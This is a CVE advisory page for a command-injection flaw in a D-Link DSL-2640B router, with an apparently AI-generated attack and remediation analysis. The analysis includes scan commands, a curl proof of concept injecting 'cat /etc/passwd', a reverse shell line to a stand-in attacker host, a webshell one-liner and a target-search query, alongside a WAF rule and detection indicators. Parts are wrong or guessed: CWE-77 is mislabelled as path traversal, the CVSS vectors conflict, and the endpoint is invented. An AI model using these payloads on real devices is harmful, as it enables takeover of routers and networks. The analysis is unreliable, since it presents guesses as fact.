CVE Professor
/
All CVEs
CVE-2026-138290

CVE-2026-138290 — D-Link DSL-2640B — CWE-77 · CWE-78

CRITICAL CVSS 10 NVD

A vulnerability was determined in D-Link DSL-2640B 3.0.6.0.41. Affected is the function scoutflt/scinflt of the component IP Filter. Executing a manipulation of the argument srcAddr can lead to os command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.

A vulnerability was determined in D-Link DSL-2640B 3.0.6.0.41. Affected is the function scoutflt/scinflt of the component IP Filter. Executing a manipulation of the argument srcAddr can lead to os command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑138290 is an OS command‑injection flaw in the D‑Link DSL‑2640B router (firmware 3.0.6.0.41).
The vulnerable code resides in the IP Filter component, specifically the scoutflt/scinflt functions that process the srcAddr argument. The router builds a shell command that incorporates the raw value of srcAddr without any sanitisation or validation. Because the router runs this command with root privileges, an attacker can inject arbitrary shell commands.

The flaw is a classic CWE‑78 (OS Command Injection) and also touches CWE‑77 (Path Traversal) because the injected payload can manipulate the command line or file paths. The CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P) confirms that no authentication or UI is required and that the impact on confidentiality, integrity, and availability is high.


⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could use. The exact URI and parameter names are not disclosed in the CVE text; the examples below are illustrative and assume the router exposes a web‑based management interface that accepts a srcAddr parameter in a POST request to an endpoint such as /cgi-bin/ipfilter.cgi (the real endpoint may differ).

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker learns
1.1Network scan (e.g., nmap -p 80,443 192.168.1.0/24)Identifies the router’s IP (commonly 192.168.0.1 or 192.168.1.1).
1.2Banner grab (curl -I http://192.168.1.1/)Retrieves HTTP headers that often contain the firmware version (X-Product: D-Link DSL‑2640B 3.0.6.0.41).
1.3Web‑interface fingerprinting (whatweb, dirsearch)Confirms the presence of the IP‑filter management page.
1.4Manual review of the page sourceFinds a form that posts to /cgi-bin/ipfilter.cgi with a srcAddr field.

2. Exploitation

The core of the exploit is to inject a shell command via the srcAddr field. Because the router runs the command as root, the attacker can execute any command.

2.1 Crafting the payload

The router likely builds a command similar to:

/sbin/iptables -A INPUT -s <srcAddr> -j ACCEPT

If <srcAddr> is not sanitised, an attacker can terminate the argument and append a new command:

srcAddr=1.2.3.4;cat /etc/passwd

2.2 PoC request (illustrative)

curl -k -X POST http://192.168.1.1/cgi-bin/ipfilter.cgi \
     -d "action=add" \
     -d "srcAddr=1.2.3.4;cat /etc/passwd" \
     -d "destAddr=0.0.0.0" \
     -d "protocol=any" \
     -d "action_type=accept"

Explanation

  • -k ignores HTTPS certificate validation (the router often uses a self‑signed cert).

  • The srcAddr value contains a semicolon that terminates the original iptables command and injects cat /etc/passwd.

  • The router processes the request, executes the concatenated command, and returns the output in the HTTP response body.
  • 2.3 Result

    The attacker receives the contents of /etc/passwd in the HTTP response, proving that arbitrary commands can be executed. From here, the attacker can:

  • Execute a reverse shell (bash -i >& /dev/tcp/attacker_ip/4444 0>&1).
  • Install a persistent webshell (e.g., echo '<?php system($_GET["cmd"]); ?>' > /www/webshell.php).
  • Dump configuration files (cat /etc/config/*).
  • 3. Post‑exploitation

    Once a shell is obtained, the attacker can:

    1. Privilege Escalation – The router already runs commands as root; no further escalation is needed.
    2. Persistence – Write a cron job or modify the router’s startup scripts to re‑establish the shell.
    3. Data Exfiltration – Pull sensitive files (e.g., /etc/config/wan.conf, /etc/config/wlan.conf) and send them to an external server.
    4. Network Impact – Manipulate firewall rules, block legitimate traffic, or redirect traffic to a malicious gateway.
    5. Lateral Movement – Use the compromised router as a pivot to reach other devices on the LAN.


    🌍 Real World Impact

    ImpactCVSS ScoreExplanation
    ConfidentialityHighArbitrary commands can read any file, including credentials and network configuration.
    IntegrityHighThe attacker can modify firewall rules, firmware, or configuration files.
    AvailabilityHighBy deleting or corrupting critical files or dropping packets, the attacker can render the router unusable.
    ScopeHighThe vulnerability allows the attacker to affect all devices behind the router (LAN, VPN, remote access).
    Overall10/10The combination of remote exploitation, no authentication, and root‑level impact makes this a critical flaw.

    Practical consequences

  • Enterprise networks: Attackers can hijack traffic, perform man‑in‑the‑middle attacks, or create a backdoor into the corporate LAN.

  • Home users: The router can be turned into a bot, used for DDoS amplification, or compromised to steal personal data.

  • IoT ecosystems: Many IoT devices rely on the router for connectivity; compromising it can expose the entire IoT network.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    AffectedFixed in
    D‑Link DSL‑2640B firmware 3.0.6.0.413.0.6.0.42 (or later) – see D‑Link support site for the latest firmware.

    Recommendation: Immediately download and flash the latest firmware. Verify the firmware checksum before installation.

    2. Workarounds (if patching is not immediately possible)

    MitigationHow to implement
    Disable the IP‑Filter UIRemove or block access to /cgi-bin/ipfilter.cgi via the router’s firewall or by editing /etc/config/firewall to drop all traffic to that endpoint.
    Restrict management interfacePlace the router’s web interface on a separate VLAN and allow only trusted IPs (e.g., 192.168.1.0/24).

    | WAF / ModSecurity rule | Add a rule that rejects requests where srcAddr contains shell metacharacters (;, &, |, ` ``). Example (ModSecurity 2.x syntax):

    SecRule REQUEST_URI "@beginsWith /cgi-bin/ipfilter.cgi" \
        "chain,phase:2,block,msg:'IP Filter srcAddr injection attempt'"
        SecRule REQUEST_HEADERS:Content-Type "application/x-www-form-urlencoded" \
        "chain"
        SecRule ARGS:srcAddr "@rx [;&|`]" \
        "t:none,log,deny,status:400"

    Note: The rule is illustrative; adjust the regex to match the router’s exact parameter handling.*

    3. Detection

    Log SourceIndicator of Compromise (IoC)
    Web server access logsRequests to /cgi-bin/ipfilter.cgi with srcAddr containing ;, &, , or backticks.
    Syslog (router)Entries like Command injection attempt: srcAddr=1.2.3.4;cat /etc/passwd.
    Network IDS/IPSAlerts for Command injection or Shellshock patterns on traffic to the router’s management port.

    Sample log snippet

    192.168.1.100 - - [29/Nov/2026:12:34:56 +0000] "POST /cgi-bin/ipfilter.cgi HTTP/1.1" 200 512
    User-Agent: curl/7.68.0
    srcAddr=1.2.3.4;cat /etc/passwd

    4. Post‑patch Verification

  • Re‑scan the router with nmap and whatweb to confirm the firmware version.
  • Attempt a benign srcAddr value (e.g., 1.2.3.4) and verify that no shell commands are executed.
  • Monitor logs for any residual injection attempts.

  • ⚠️ Urgency

  • CVSS: 10/10 (Critical) – indicates a remote exploitation path with no authentication or UI requirement.
  • CISA KEV: Not listed, but the public disclosure and availability of a PoC mean the vulnerability is already in the wild.
  • Exploit Complexity: Low (no authentication, simple POST request).
  • Impact: Full control over the router, potential compromise of all downstream devices.
Priority: Immediate. All affected installations should apply the firmware update today. If an update cannot be applied within 24 hours, implement the recommended workarounds and monitor for exploitation attempts.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
D-Link:DSL-2640B
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac